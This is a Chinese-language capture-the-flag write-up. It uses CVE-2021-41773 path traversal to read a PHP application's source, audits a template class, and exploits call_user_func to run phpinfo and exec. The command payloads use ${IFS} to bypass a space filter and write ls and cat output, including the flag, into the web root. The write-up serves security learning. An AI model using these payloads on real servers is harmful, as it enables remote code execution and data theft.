打开环境
所以要我们读取上层目录的某个文件 所以我想应该会存在任意文件读取和路径穿越漏洞
然后标签有CVE-2021-41773
所以直接github拿到这个漏洞的
工具
payload
我们来读一下index.php.txt
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);?>
我们取读取Class.php 发现直接读不行 和之前一样Class.php.txt
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];private $template;public function __construct($data){
$this->date = array_merge($this->date,$data);}public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);if(!is_file($this->template)){
die("no!!");}}else{
$this->template = './template/index.html';}}public function display($template,$space=''){
extract($this->date);$this->getTempName($template,$space);include($this->template);}public function listdata($_params){
$system = ['db' => '','app' => '','num' => '','sum' => '','form' => '','page' => '','site' => '','flag' => '','not_flag' => '','show_flag' => '','more' => '','catid' => '','field' => '','order' => '','space' => '','table' => '','table_site' => '','total' => '','join' => '','on' => '','action' => '','return' => '','sbpage' => '','module' => '','urlrule' => '','pagesize' => '','pagefile' => '',];$param = $where = [];$_params = trim($_params);$params = explode(' ', $_params);if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];}foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));$val = substr($t, strpos($t, '=') + 1);if (!$var) {
continue;}if (isset($system[$var])) {
$system[$var] = $val;} else {
$param[$var] = $val; }}// actionswitch ($system['action']) {
case 'function':if (!isset($param['name'])) {
return 'hacker!!';} elseif (!function_exists($param['name'])) {
return 'hacker!!';}$force = $param['force'];if (!$force) {
$p = [];foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));$p[$n] = $t;}}if ($p) {
$rt = call_user_func_array($param['name'], $p);} else {
$rt = call_user_func($param['name']);}return $rt;}else{
return null;}case 'list':return json_encode($this->date);}return null;}
}
在index.php中get传参
它对我们传参的值进行display方法
public function display($template,$space=''){
extract($this->date);$this->getTempName($template,$space);include($this->template);}
然后经过extract,再进行getTempName方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);if(!is_file($this->template)){
die("no!!");}}
这里给了个目录/template/admin/
我们试着直接访问一下
我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数
$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);
方法一:
利用call_user_func
所以我们来梳理一下思路
我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量
带着走一遍代码审计吧
$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];}foreach ($params as $t) {
//遍历新?成的数组 $var = substr($t, 0, strpos($t, '='));//key$val = substr($t, strpos($t, '=') + 1);//valueif (!$var) {
continue;}if (isset($system[$var])) {
$system[$var] = $val;} else {
$param[$var] = $val;//数组定义}}
这就是数组定义的流程
switch ($system['action']) {
//把key为action的值来比较case 'function':if (!isset($param['name'])) {
//必须有key为namereturn 'hacker!!';} elseif (!function_exists($param['name']))//还必须被定义{
return 'hacker!!';}$force = $param['force'];if (!$force) {
$p = [];//我们只需要这一步定义foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));$p[$n] = $t;}}if ($p) {
$rt = call_user_func_array($param['name'], $p);} else {
$rt = call_user_func($param['name']);//利用的key为name的value值}
所以payload很简单了
URL?filename=index.html(POST)space=admin&mod=m1kael action=function name=phpinfo
找到flag
方法二
利用call_user_func_array
通过上个函数的利用我们发现exec未被禁用
我们可以利用这个函数 唯一不同的地方就是
if (!$force) {
$p = [];//我们只需要这一步定义foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));$p[$n] = $t;}}
还需要数组的一个key为param它的value为我们的命令
name的value值为exec即可进行命令执行
但是之前分割数组的时候过滤了空格 所以命令执行中的空格可以用${IFS}绕过
所以来试试
URL?filename=index.html(POST)space=admin&mod=m1kael action=function name=exec param=ls${
IFS}/>/var/www/html/a
然后我们再访问a 成功
继续得到flag
URL?filename=index.html(POST)space=admin&mod=m1kael action=function name=exec param=cat${
IFS}/f11111111aaaagggg>/var/www/html/a
知识点:这道题其实就一个cve的利用+php代码审计
希望这篇文章能够帮助你!